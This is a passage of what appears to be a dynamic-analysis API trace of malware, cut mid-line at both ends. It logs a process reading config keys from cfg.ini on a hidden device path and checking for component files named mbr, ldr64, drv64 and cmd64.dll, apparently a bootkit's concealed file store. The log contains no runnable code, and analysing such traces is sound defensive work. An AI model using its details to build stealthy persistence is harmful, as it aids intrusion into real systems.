VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.694] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.694] IdePortDispatch () returned 0x103 [0122.694] KeWaitForMutexObject () returned 0x0 [0122.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.694] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.694] KeLeaveCriticalRegion () [0122.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.694] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.694] KeEnterCriticalRegion () [0122.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.694] KeLeaveCriticalRegion () [0122.694] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.694] KeEnterCriticalRegion () [0122.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.694] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.694] IdePortDispatch () returned 0x103 [0122.695] KeWaitForMutexObject () returned 0x0 [0122.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.695] KeLeaveCriticalRegion () [0122.695] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.695] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.695] KeEnterCriticalRegion () [0122.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d09000 [0122.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.695] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.695] IdePortDispatch () returned 0x103 [0122.695] KeWaitForMutexObject () returned 0x0 [0122.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.695] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.695] IdePortDispatch () returned 0x103 [0122.695] KeWaitForMutexObject () returned 0x0 [0122.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] KeLeaveCriticalRegion () [0122.696] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.696] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.696] KeEnterCriticalRegion () [0122.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] KeLeaveCriticalRegion () [0122.696] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.696] KeEnterCriticalRegion () [0122.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.696] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] KeLeaveCriticalRegion () [0122.696] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.696] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.696] KeEnterCriticalRegion () [0122.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.696] KeLeaveCriticalRegion () [0122.696] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.696] ReleaseMutex (hMutex=0xf0) returned 1 [0122.696] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.696] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.696] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.697] KeEnterCriticalRegion () [0122.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.697] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.697] IdePortDispatch () returned 0x103 [0122.697] KeWaitForMutexObject () returned 0x0 [0122.697] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.697] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.697] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.697] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.697] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.697] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6b00 [0122.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.697] KeLeaveCriticalRegion () [0122.697] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.697] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.697] KeEnterCriticalRegion () [0122.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.697] KeLeaveCriticalRegion () [0122.697] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.697] KeEnterCriticalRegion () [0122.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.697] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.697] IdePortDispatch () returned 0x103 [0122.697] KeWaitForMutexObject () returned 0x0 [0122.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.698] KeLeaveCriticalRegion () [0122.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.698] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.698] KeEnterCriticalRegion () [0122.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.698] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0a000 [0122.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.698] IdePortDispatch () returned 0x103 [0122.698] KeWaitForMutexObject () returned 0x0 [0122.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.698] IdePortDispatch () returned 0x103 [0122.698] KeWaitForMutexObject () returned 0x0 [0122.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.698] KeLeaveCriticalRegion () [0122.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.699] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.699] KeEnterCriticalRegion () [0122.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.699] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.699] KeLeaveCriticalRegion () [0122.699] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.699] KeEnterCriticalRegion () [0122.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.699] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.699] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.699] KeLeaveCriticalRegion () [0122.699] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.699] KeEnterCriticalRegion () [0122.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.699] ExFreePoolWithTag (P=0xfffffa8003be6b00, Tag=0x0) [0122.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.699] KeLeaveCriticalRegion () [0122.699] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.700] ReleaseMutex (hMutex=0xf0) returned 1 [0122.700] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.700] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.700] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.700] KeEnterCriticalRegion () [0122.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.700] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.700] IdePortDispatch () returned 0x103 [0122.700] KeWaitForMutexObject () returned 0x0 [0122.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.700] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.700] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.700] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.700] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.700] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6250 [0122.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.700] KeLeaveCriticalRegion () [0122.700] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.700] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.700] KeEnterCriticalRegion () [0122.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.701] KeLeaveCriticalRegion () [0122.701] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.701] KeEnterCriticalRegion () [0122.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.701] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.701] IdePortDispatch () returned 0x103 [0122.701] KeWaitForMutexObject () returned 0x0 [0122.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.701] KeLeaveCriticalRegion () [0122.701] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.701] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.701] KeEnterCriticalRegion () [0122.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.701] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0b000 [0122.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.701] IdePortDispatch () returned 0x103 [0122.701] KeWaitForMutexObject () returned 0x0 [0122.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.702] IdePortDispatch () returned 0x103 [0122.702] KeWaitForMutexObject () returned 0x0 [0122.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.702] KeLeaveCriticalRegion () [0122.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.702] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.702] KeEnterCriticalRegion () [0122.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.702] KeLeaveCriticalRegion () [0122.702] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.702] KeEnterCriticalRegion () [0122.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.702] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.703] KeLeaveCriticalRegion () [0122.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.703] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.703] KeEnterCriticalRegion () [0122.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.703] ExFreePoolWithTag (P=0xfffffa8003be6250, Tag=0x0) [0122.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.703] KeLeaveCriticalRegion () [0122.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.703] ReleaseMutex (hMutex=0xf0) returned 1 [0122.703] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.703] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.703] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.703] KeEnterCriticalRegion () [0122.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.703] IdePortDispatch () returned 0x103 [0122.703] KeWaitForMutexObject () returned 0x0 [0122.703] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.703] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.703] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.703] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.703] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.703] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.703] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.703] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.703] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.703] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.703] KeLeaveCriticalRegion () [0122.704] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.704] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.704] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.704] KeEnterCriticalRegion () [0122.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.704] IoAllocateMdl (in: 